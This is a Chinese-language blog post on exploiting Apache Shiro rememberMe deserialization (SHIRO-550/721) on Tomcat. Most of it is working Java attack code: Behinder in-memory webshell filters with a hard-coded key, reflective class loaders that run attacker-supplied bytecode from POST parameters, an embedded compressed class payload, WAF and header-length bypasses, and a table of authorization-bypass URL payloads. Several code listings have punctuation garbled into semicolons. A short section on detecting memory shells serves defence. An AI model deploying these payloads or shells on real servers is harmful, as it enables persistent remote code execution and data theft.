Javaweb安全——Shiro漏洞利用
作者:快盘下载 人气:76炒个冷饭;主要还是对反序列化漏洞利用方式的学习;目前只测试了tomcat环境;后面再将weblogic的部分补一补。
Shiro反序列化
SHIRO-550
漏洞编号;CVE-2016-4437 / CNVD-2016-03869 / SHIRO-550
影响版本;shiro 1.x < 1.2.5
漏洞描述;利用硬编码的密钥构造rememberMe参数;进行反序列化攻击
漏洞补丁;Commit
SHIRO-721
漏洞编号;CVE-2019-12422 / CNVD-2016-07814 /SHIRO-721
影响版本;shiro < 1.4.2
漏洞描述;RememberMe默认通过 AES-128-CBC 模式加密;易受Padding Oracle Attack攻击
漏洞补丁;Commit
测试环境;
https://github.com/phith0n/JavaThings/blob/master/shirodemo
Tomcat 9.0.59
前期测试适配内存马时可以修改Tomcat的/conf/server.xml配置文件方便测试;添加一个
//默认值为4096
maxHttpHeaderSize=;40960000;
漏洞原理
从key所在的位置org.apache.shiro.mgt.AbstractRememberMeManager开始跟;先看到getRememberedPrincipals方法;该方法把SubjectContext 转化成 PrincipalCollection;中间还将cookie数据解码。

base64解码的逻辑在CookieRememberMeManager#getRememberedSerializedIdentity

将解码后的 byte 数组传入 convertBytesToPrincipals 中进行decrypt ;使用 AesCipherService 进行解密。


然后看deserialize的处理过程;到DefaultSerializer#deserialize进行反序列化。


测试的话把payload写在remeberMe那

漏洞探测
判断是否是shiro
未登陆的情况下;请求包的cookie中没有rememberMe字段;返回包set-Cookie里也没有deleteMe字段
登陆失败的话;不管勾选RememberMe字段没有;返回包都会有rememberMe=deleteMe字段
不勾选RememberMe字段;登陆成功的话;返回包set-Cookie会有rememberMe=deleteMe字段。但是之后的所有请求中Cookie都不会有rememberMe字段
勾选RememberMe字段;登陆成功的话;返回包set-Cookie会有rememberMe=deleteMe字段;还会有rememberMe字段;之后的所有请求中Cookie都会有rememberMe字段
判断Shiro正确的key
java -jar ysoserial.jar URLDNS http://xxx.dnslog.cn
命令执行的利用链执行延迟命令
一种另类的 shiro 检测方式
1.构造一个继承 PrincipalCollection 的序列化对象;即SimplePrincipalCollection类。
2.key正确情况下不返回 deleteMe ;key错误情况下返回 deleteMe 。
SimplePrincipalCollection simplePrincipalCollection = new SimplePrincipalCollection();
ObjectOutputStream obj = new ObjectOutputStream(new FileOutputStream(;payload;)); obj.writeObject(simplePrincipalCollection); obj.close();
利用链
CC链;CB链;原理之前写过在 反序列化漏洞-Shiro;CommonsBeanutils利用链;这篇文章里;;利用链还得看具体环境。
内存马写入
获取到request;response和session;把字节码传入然后调用defineClass动态加载此类。
适配冰蝎内存马
request和session对象
request对象可以通过其doFilter方法参数中传递的ServletRequest获得;而session可以通过request.getSession()获得
// 获取request和response对象 HttpServletRequest request = (HttpServletRequest) servletRequest; HttpServletResponse response = (HttpServletResponse)servletResponse; HttpSession session = request.getSession();
pageContext对象
pageContext对象为jsp九大内置对象;在冰蝎作者rebeyond的文章利用动态二进制加密实现新型一句话木马之Java篇中知道;在冰蝎的代码中;服务端需要从pageContext对象中获取出request/response/session。

PageContext是一个抽象类;在早期版本中需要自己去实现一个类如;EvilPageContext

而在冰蝎3.0 bata7之后不再依赖pageContext对象;只需给在equal函数中传递的object对象中;有request/response/session对象即可;所以此时我们可以把pageContext对象换成一个Map;手动添加这三个对象即可
HashMap pageContext = new HashMap();
pageContext.put(;request;,request); pageContext.put(;response;,response); pageContext.put(;session;,session);
类加载器
冰蝎生成的shell通常都是自定义一个classloader类U;但在打内存马的时候是无法成功的;需要用反射去进行defineClass;就像上面注入的类加载器一样。
最终实现代码;
import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationFilterConfig; import org.apache.catalina.core.StandardContext; import org.apache.catalina.loader.WebappClassLoaderBase; import org.apache.tomcat.util.descriptor.web.FilterDef; import org.apache.tomcat.util.descriptor.web.FilterMap; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; import javax.servlet.*; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import javax.servlet.http.HttpSession; import java.io.IOException; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map; public class Behinder3Filter implements Filter { static { try { final String name = ;evil;; final String URLPattern = ;/*;; WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext(); Field Configs = standardContext.getClass().getDeclaredField(;filterConfigs;); Configs.setAccessible(true); Map filterConfigs = (Map) Configs.get(standardContext); Behinder3Filter behinderFilter = new Behinder3Filter(); FilterDef filterDef = new FilterDef(); filterDef.setFilter(behinderFilter); filterDef.setFilterName(name); filterDef.setFilterClass(behinderFilter.getClass().getName()); /** * 将filterDef添加到filterDefs中 */ standardContext.addFilterDef(filterDef); FilterMap filterMap = new FilterMap(); filterMap.addURLPattern(URLPattern); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap); Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef); filterConfigs.put(name, filterConfig); } catch (Exception ex) { ex.printStackTrace(); } } ;Override public void init(FilterConfig filterConfig) throws ServletException { } ;Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { try { System.out.println(;Do Filter ......;); // 获取request和response对象 HttpServletRequest request = (HttpServletRequest) servletRequest; HttpServletResponse response = (HttpServletResponse)servletResponse; HttpSession session = request.getSession(); //create pageContext HashMap pageContext = new HashMap(); pageContext.put(;request;,request); pageContext.put(;response;,response); pageContext.put(;session;,session); if (request.getMethod().equals(;POST;)) { String k = ;e45e329feb5d925b;;/*该密钥为连接密码32位md5值的前16位;默认连接密码rebeyond*/ session.putValue(;u;, k); Cipher c = Cipher.getInstance(;AES;); c.init(2, new SecretKeySpec(k.getBytes(), ;AES;)); //reVision BehinderFilter Method method = Class.forName(;java.lang.ClassLoader;).getDeclaredMethod(;defineClass;, byte[].class, int.class, int.class); method.setAccessible(true); byte[] evilclass_byte = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine())); Class evilclass = (Class) method.invoke(this.getClass().getClassLoader(), evilclass_byte,0, evilclass_byte.length); evilclass.newInstance().equals(pageContext); } }catch (Exception e){ e.printStackTrace(); } filterChain.doFilter(servletRequest, servletResponse); System.out.println(;doFilter;); } ;Override public void destroy() { } }

冰蝎4.0后对于webshell的逻辑来说主要是增加了自定义解码器;类加载的逻辑和3.0的版本并无不同;以default_xor_base64编码器为例;修改解码逻辑即可连接
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println(;Do Filter ......;); // 获取request和response对象 HttpServletRequest request = (HttpServletRequest) servletRequest; HttpServletResponse response = (HttpServletResponse)servletResponse; HttpSession session = request.getSession(); //create pageContext HashMap pageContext = new HashMap(); pageContext.put(;request;,request); pageContext.put(;response;,response); pageContext.put(;session;,session); if (request.getMethod().equals(;POST;)){ ByteArrayOutputStream bos = new ByteArrayOutputStream(); byte[] buf = new byte[512]; int length=request.getInputStream().read(buf); while (length>0) { byte[] data= Arrays.copyOfRange(buf,0,length); bos.write(data); length=request.getInputStream().read(buf); } //解码器 byte[] decodebs; Class baseCls ; try{ baseCls=Class.forName(;java.util.Base64;); Object Decoder=baseCls.getMethod(;getDecoder;, null).invoke(baseCls, null); decodebs=(byte[]) Decoder.getClass().getMethod(;decode;, new Class[]{byte[].class}).invoke(Decoder, new Object[]{bos.toByteArray()}); } catch (Throwable e) { try { baseCls = Class.forName(;sun.misc.BASE64Decoder;); Object Decoder= null; Decoder = baseCls.newInstance(); decodebs=(byte[]) Decoder.getClass().getMethod(;decodeBuffer;,new Class[]{String.class}).invoke(Decoder, new Object[]{new String(bos.toByteArray())}); } catch (Exception ex) { throw new RuntimeException(ex); } } String key=;e45e329feb5d925b;;/*该密钥为连接密码32位md5值的前16位;默认连接密码rebeyond*/ for (int i = 0; i < decodebs.length; i;;) { decodebs[i] = (byte) ((decodebs[i]) ^ (key.getBytes()[i ; 1 & 15])); } try { //revision BehinderFilter Method defineClassMethod = Class.forName(;java.lang.ClassLoader;).getDeclaredMethod(;defineClass;, byte[].class, int.class, int.class); defineClassMethod.setAccessible(true); Class cc = (Class) defineClassMethod.invoke(this.getClass().getClassLoader(), decodebs, 0, decodebs.length); cc.newInstance().equals(pageContext); } catch (Exception e) { throw new RuntimeException(e); } } filterChain.doFilter(servletRequest, servletResponse); System.out.println(;doFilter;); }
Cookie长度限制绕过
waf直接拦截过长的rememberMe Cookie
未知HTTP请求方法 如GET换成XXX 或者删除https://gv7.me/articles/2021/shiro-deserialization-bypasses-waf-through-unknown-http-method/
写入内存马时payload过长
修改maxHTTPHeaderSize反序列化一个加载器;从POST请求体中发送恶意字节码;推荐;class bytes使用gzip;base64压缩编码;推荐;
动态类加载;POST传参字节码
通过反序列化获取一个类加载器;并获取到request对象以获得当前请求传参的数据。
获取Request对象;Tomcat;
通常为遍历线程Thread.currentThread()中的对象来查找到其中藏着的request对象;这里介绍两种方法
Thread.currentThread().getContextClassLoader().getResource().getContext();Tomcat7不可用;且由于exp代码中需要多个循环去获取属性;使得生成的payload还是过大;需要精简一下exp中的变量以及变量名;同时把其他不必要的请求去掉;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; public class TomcatClazzLoader extends AbstractTranslet { static { try { org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); org.apache.catalina.Context context = webappClassLoaderBase.getResources().getContext(); java.lang.reflect.Field contextField = org.apache.catalina.core.StandardContext.class.getDeclaredField(;context;); contextField.setAccessible(true); org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(context); java.lang.reflect.Field serviceField = org.apache.catalina.core.ApplicationContext.class.getDeclaredField(;service;); serviceField.setAccessible(true); org.apache.catalina.core.StandardService standardService = (org.apache.catalina.core.StandardService) serviceField.get(applicationContext); org.apache.catalina.connector.Connector[] connectors = standardService.findConnectors(); for (int i = 0; i < connectors.length; i;;) { if (connectors[i].getScheme().contains(;http;)) { org.apache.coyote.ProtocolHandler protocolHandler = connectors[i].getProtocolHandler(); java.lang.reflect.Method getHandlerMethod = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod(;getHandler;, null); getHandlerMethod.setAccessible(true); org.apache.tomcat.util.net.AbstractEndpoint.Handler connectoinHandler = (org.apache.tomcat.util.net.AbstractEndpoint.Handler) getHandlerMethod.invoke(protocolHandler, null); java.lang.reflect.Field globalField = Class.forName(;org.apache.coyote.AbstractProtocol$ConnectionHandler;).getDeclaredField(;global;); globalField.setAccessible(true); org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) globalField.get(connectoinHandler); java.lang.reflect.Field processorsField = org.apache.coyote.RequestGroupInfo.class.getDeclaredField(;processors;); processorsField.setAccessible(true); java.util.List list = (java.util.List) processorsField.get(requestGroupInfo); //通过QueryString筛选 for (int k = 0; k < list.size(); k;;) { org.apache.coyote.RequestInfo requestInfo = (org.apache.coyote.RequestInfo) list.get(k); if (requestInfo.getCurrentUri().contains(;aaa;)){ //传参请求的页面;不需要服务端真的有这个页面;可以设置一个奇怪一点的;以免获取出错 System.out.println(;success;); java.lang.reflect.Field requestField = org.apache.coyote.RequestInfo.class.getDeclaredField(;req;); requestField.setAccessible(true); org.apache.coyote.Request tempRequest = (org.apache.coyote.Request) requestField.get(requestInfo); org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) tempRequest.getNote(1); org.apache.catalina.connector.Response response = request.getResponse(); javax.servlet.http.HttpSession session = request.getSession(); String classData = request.getParameter(;classData;); System.out.println(classData); byte[] classBytes = new sun.misc.BASE64Decoder().decodeBuffer(classData); java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod(;defineClass;, new Class[]{byte[].class, int.class, int.class}); defineClassMethod.setAccessible(true); Class cc = (Class) defineClassMethod.invoke(Thread.currentThread().getContextClassLoader(), classBytes, 0, classBytes.length); Class.forName(cc.getName()); break; } } } } } catch (Exception e) { e.printStackTrace(); } } ;Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } ;Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
使用 java-object-searcher 内存对象搜索工具;查找另一个存储了 AbstractProtocol$ConnectoinHandler的对象。基于全局储存的新思路 | Tomcat的一种通用回显方法研究 ;更通用的Request获取方法;且payload大小显著减少;

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-YvorZ8KA-1664108153506)(C:Users10725AppDataRoamingTypora ypora-user-imagesimage-20220921013243518.png)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-3Z2pqtws-1664108153506)(C:Users10725AppDataRoamingTypora ypora-user-imagesimage-20220921013219203.png)]
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import org.apache.coyote.Request; import org.apache.coyote.RequestInfo; import java.lang.reflect.Field; import java.util.List; public class TomcatClazzLoader2 extends AbstractTranslet { static { try { boolean flag = false; Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(),;threads;); for (int i=0;i<threads.length;i;;){ Thread thread = threads[i]; if (thread != null){ String threadName = thread.getName(); if (threadName.contains(;Poller;) && threadName.contains(;http;)){ Object target = getField(thread,;target;); Object global = null; if (target instanceof Runnable){ // 需要遍历其中的 this$0/handler/global // 需要进行异常捕获;因为存在找不到的情况 try { global = getField(getField(getField(target,;this$0;),;handler;),;global;); } catch (NoSuchFieldException fieldException){ fieldException.printStackTrace(); } } // 如果成功找到了 我们的 global ;我们就从里面获取我们的 processors if (global != null){ List processors = (List) getField(global,;processors;); for (i=0;i<processors.size();i;;){ RequestInfo requestInfo = (RequestInfo) processors.get(i); if (requestInfo != null){ Request tempRequest = (Request) getField(requestInfo,;req;); org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) tempRequest.getNote(1); String classData = request.getParameter(;classData;); if (classData != null){ System.out.println(classData); byte[] classBytes = new sun.misc.BASE64Decoder().decodeBuffer(classData); java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod(;defineClass;, new Class[]{byte[].class, int.class, int.class}); defineClassMethod.setAccessible(true); Class cc = (Class) defineClassMethod.invoke(TomcatClazzLoader2.class.getClassLoader(), classBytes, 0, classBytes.length); Class.forName(cc.getName()); flag = true; break; } } } } } } if (flag){ break; } } } catch (Exception e){ e.printStackTrace(); } } public static Object getField(Object obj,String fieldName) throws Exception{ Field f0 = null; Class clas = obj.getClass(); while (clas != Object.class){ try { f0 = clas.getDeclaredField(fieldName); break; } catch (NoSuchFieldException e){ clas = clas.getSuperclass(); } } if (f0 != null){ f0.setAccessible(true); return f0.get(obj); }else { throw new NoSuchFieldException(fieldName); } } ;Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } ;Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
写入内存马
现在有了类加载器;那就可以写入内存马了。将上面的类加载器的payload加在Cookie: rememberMe字段;与要加载的内存马字节码的base64编码post传过去。

tips
这里不能使用之前学习内存马当中用的 Tomcat中一种半通用回显方法方法获取Request对象了;因为shiro是在filter chain处理逻辑的地方出现的漏洞;rememberMe功能就是ShiroFilter的一个模块;;还没进入到cache request的操作中;自然就无法获取到了。
TemplatesImpl类当中;每次defineClass都会new一个自己的ClassLoader(如下图,在TemplatesImpl中),所以前后两个类没法互相访问;所以也不能使用分次加载调用。


在注入的类加载器中想要重复加载同名类就使用TomcatClazzLoader.class.getClassLoader();因为上一条tip的缘故每次都是新的类加载器;若是需要访问上一次加载的类则使用Thread.currentThread().getContextClassLoader()
class bytes使用gzip;base64压缩编码
tomcat结合shiro无文件webshell的技术研究以及检测方法
查看Class.forName的实现过程可发现其会查找classloader的classes字段。
那么事先将defineClass的结果;即要注入的内存马类;添加到classloader的classes字段。再第二次请求时Class.forName直接获取这个内存马类从而减少单次payload的长度。
再配合gzip压缩内存马类的字节码;使得前面定义类到JVM的payload再次减少。


压缩编码工具类
import javassist.CannotCompileException;
import javassist.ClassPool; import javassist.CtClass; import javassist.NotFoundException; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.lang.reflect.InvocationTargetException; import java.util.Base64; import java.util.zip.GZIPOutputStream; public class ClassBytesCompress { public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, InstantiationException, ClassNotFoundException, NoSuchMethodException, IOException, NoSuchFieldException, CannotCompileException, NotFoundException { ClassPool pool = ClassPool.getDefault(); CtClass clazzz = pool.get(ShellFilterNoLoader.class.getName()); byte[] evilclass_byte = clazzz.toBytecode(); System.out.println(Base64.getEncoder().encodeToString(compress(evilclass_byte))); } public static byte[] compress(byte[] encodeBuffer){ ByteArrayOutputStream out = new ByteArrayOutputStream(); try{ GZIPOutputStream gzip = new GZIPOutputStream(out); gzip.write(encodeBuffer); gzip.close(); } catch (IOException e) { throw new RuntimeException(e); } return out.toByteArray(); } }
不过这里编码用的内存马只能用最简单的内存马;用上面适配冰蝎的就超出长度了。

定义类
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import sun.misc.BASE64Decoder; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.util.Vector; import java.util.zip.GZIPInputStream; public class DefineFilterClass extends AbstractTranslet { static { BASE64Decoder b64Decoder = new sun.misc.BASE64Decoder(); String codeClass = ;H4sIAAAAAAAAAI1VXXsTRRR;J1;TpEuRQimxBSxKm1AkqFAlQUQQSDBtY4PFil;bZNJuSXbDZoPl13jptTcF9Hl8uPLCX8Jf4EZ8dxLTpAkpFzszez7mvOecd2b;;fePvwBcwoM4DuO6xOcSN6K4OIYAluL4Ajf94VYcX;K2RC6OGO74w1djCCIfxzJWJFYlChJfC0SuWrblXRMIJlPrAqElp6IEDuctW6206iXl3jVLNUom8k7ZrK2bruX/d4Qhb8tqCszml1XdcR8Xt1StltbjLavmKXfFyTtmRblZmvphBE4n89vmI3Mn3VTuo5ry0m3DJceuWptZH4FR7ZEIzIyyF4jf3Cmrhmc5dlNiTSBacdoWAvf3hyq25zX1sKWaXvZ12maDm6n96k7cLdOyNcwxy260vKLnKrMuMKmt05aTzu2JCe9oqVWtKldVcr3WJ7vWNwbV9ArWlC0gcgLjzT7MAqdG58TONfvzYMkPSJS5VPeSE5gekTmxueqhwPw;my3Pa6RvcxjAE3IZR2B/LwYdumiC5XrF55uuUc20N9MsjGX73T5U9Mzyg2WzofmnWVyUuCvxTfsUSKxL3CPpJb4VkBVCcJ3HZEnRabllxUxYjxNDCHrBD2bgCCYEzr5RagJzb5aRgQ18J3HfwPf4wcCP;EniZwMmSiz1CB74aMoGKuAOVWxKbBmwsM1;HnDYBN7aK91qaVuVCfbYsJ6STkOp0T1TPH6j6EYmj6SWQOK1VOpD2W4wj8uQU9QrXe1BZmwqr2C6Zl3pTOaSg4RJDePQkT3ZWsv2rDphxrlX92cy2evXEftMVjuqTOofEKjgOmXVbPZH6gh5oBmpL7mp/6MN3B0nkkMV;pbmqqKvbN4RMW55z7V0FXp3KxBaR5HtKWKPWCD8i7/ghslcah2zGOeLws7weQlx5nHgeJR/ac6Cc/jcE4jfuQjgGMeIFsYxydFoG;A4pjgTPhK08p0va3sMOo5rx;NtZcfRX72NaY4zHRQn;Z3C6fZmYpaPWJyawsJzBDKh888RzIQToYnQM4QDyEQSkb;x;BScdyF3Ec3IPxHbSMgniGeiieguxjYWY4FfMZEIP4PBbsd2cei3Vy98bEGNbY5vJZh5hPEMSqaIcoboUlxdYlLXiW;VqHzsVWJJ0eMd1k5SO40zeBdRXKXvezirdyp0MyvQcl5nXkCSfgG9OocFRo7gDs7jfWZs8PW;wIqH6XUFF/EBdR/Sch6BVwwRk/iIoSQuSyxKfCzxicQViYxEFnhJcDO6wAGC8Ev3abeJC7q4Q/pwpqeBotvAa9rqs/8A0GWnXW8IAAA=;; ClassLoader currentClassloader = Thread.currentThread().getContextClassLoader(); try { //解压缩解码 ByteArrayOutputStream out = new ByteArrayOutputStream(); ByteArrayInputStream in = new ByteArrayInputStream(b64Decoder.decodeBuffer(codeClass)); GZIPInputStream ungzip = new GZIPInputStream(in); byte[] buffer = new byte[256]; int n; while ((n = ungzip.read(buffer)) >= 0) { out.write(buffer, 0, n); } byte[] evilclass = out.toByteArray(); //在jvm中定义类 java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod(;defineClass;, new Class[]{byte[].class, int.class, int.class}); defineClassMethod.setAccessible(true); Class evilClass = (Class) defineClassMethod.invoke(currentClassloader, evilclass, 0, evilclass.length); //将内存马类存入classes字段 java.lang.reflect.Field currentCladdloaderClasses = Class.forName(;java.lang.ClassLoader;).getDeclaredField(;classes;); currentCladdloaderClasses.setAccessible(true); Vector classes = (Vector) currentCladdloaderClasses.get(currentClassloader); classes.add(0, evilClass); } catch (Exception e) { throw new RuntimeException(e); } } ;Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } ;Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
加载类
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import org.apache.catalina.Context; import org.apache.catalina.core.ApplicationFilterConfig; import org.apache.catalina.core.StandardContext; import org.apache.catalina.loader.WebappClassLoaderBase; import org.apache.tomcat.util.descriptor.web.FilterDef; import org.apache.tomcat.util.descriptor.web.FilterMap; import javax.servlet.DispatcherType; import javax.servlet.Filter; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.Map; public class LoaderShell extends AbstractTranslet { static { try { final String name = ;evil;; final String URLPattern = ;/*;; WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext(); Field Configs = standardContext.getClass().getDeclaredField(;filterConfigs;); Configs.setAccessible(true); Map filterConfigs = (Map) Configs.get(standardContext); Class filterDefClass = Class.forName(;org.apache.tomcat.util.descriptor.web.FilterDef;); Object filterDef = filterDefClass.newInstance(); // 设置过滤器名称 Method filterDefsetFilterName = filterDefClass.getMethod(;setFilterName;, String.class); filterDefsetFilterName.invoke(filterDef, name); // 实例化Filter;也就是第一阶段我们加载的那个filter;通过Class.forname查找 Method filterDefsetFilter = filterDefClass.getMethod(;setFilter;, Filter.class); //通过class.forname查找我们待加载的Filter;后面调用newInstance实例化 Class evilFilterClass = Class.forName(;ShellFilterNoLoader;); filterDefsetFilter.invoke(filterDef, evilFilterClass.newInstance()); /** * 将filterDef添加到filterDefs中 */ standardContext.addFilterDef((FilterDef) filterDef); FilterMap filterMap = new FilterMap(); filterMap.addURLPattern(URLPattern); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap); Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef); filterConfigs.put(name, filterConfig); } catch (Exception ex) { ex.printStackTrace(); } } ;Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } ;Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
发两个payload;第一个将内存马类定义;第二个去实例化内存马类然后注册到filter里。

Filter类型的内存马查杀
jvisualvm安装MBean插件;查看Catalina/Filter节点中的数据;检查是否存在未知已经怪异名称的节点;或者没有在web.xml中配置的filter;或者filterClass为空的Filter。
权限绕过
这篇文章总结的很详细;这里转载一下文章中的总结表格。
Shiro 历史漏洞分析
漏洞编号Shiro版本配置漏洞形式CVE-2010-3863shiro < 1.1.0 和JSecurity 0.9.x/** = anon/./remoting.jspCVE-2014-0074/SHIRO-460shiro 1.x < 1.2.3-ldap、空密码、空用户名、匿名CVE-2016-6802shiro < 1.3.2Context Path绕过/x/../context/xxx.jspCVE-2020-1957/SHIRO-682shiro < 1.5.2/** = anon/toJsonPOJO/,Spring Boot < 2.3.0.RELEASE -> /xx/..;/toJsonPOJOCVE-2020-11989/ SHIRO-782shiro < 1.5.3(等于1.5.2;/toJsonList/* = authc;(小于1.5.3;/alter/* = authc && /** = anon(等于1.5.2;/的两次编码 -> %25%32%66 /toJsonList/a%25%32%66a ->/toJsonList/a%2fa;;小于1.5.3;/;/shirodemo/alter/test -> /shirodemo/alter/test (Shiro < 1.5.2版本的话;根路径是什么没有关系)CVE-2020-13933shiro < 1.6.0/hello/* = authc/hello/%3ba -> /hello/;aCVE-2020-17510shiro < 1.7.0/hello/* = authc/hello/%2e -> /hello/. (/%2e、/%2e/、/%2e%2e、/%2e%2e/都可以;CVE-2020-17523shiro < 1.7.1/hello/* = authc/hello/%20 -> /hello/%20CVE-2021-41303shiro < 1.8.0/admin/* = authc && /admin/page = anon/admin/page/ -> /admin/pageCVE-2022-32532shiro < 1.9.1RegExPatternMatcher && /alter/.*/alter/a%0aaa -> /alter/a%0aaa;/alter/a%0daa -> /alter/a%0daa
参考
Shiro反序列化与Tomcat内存马注入学习
利用shiro反序列化注入冰蝎内存马
Shiro 550 漏洞学习 (二);内存马注入及回显
Shiro550 漏洞学习;三;;Shiro自身利用链以及更通用的Tomcat回显方案
Shiro 历史漏洞分析
基于全局储存的新思路 | Tomcat的一种通用回显方法研究
加载全部内容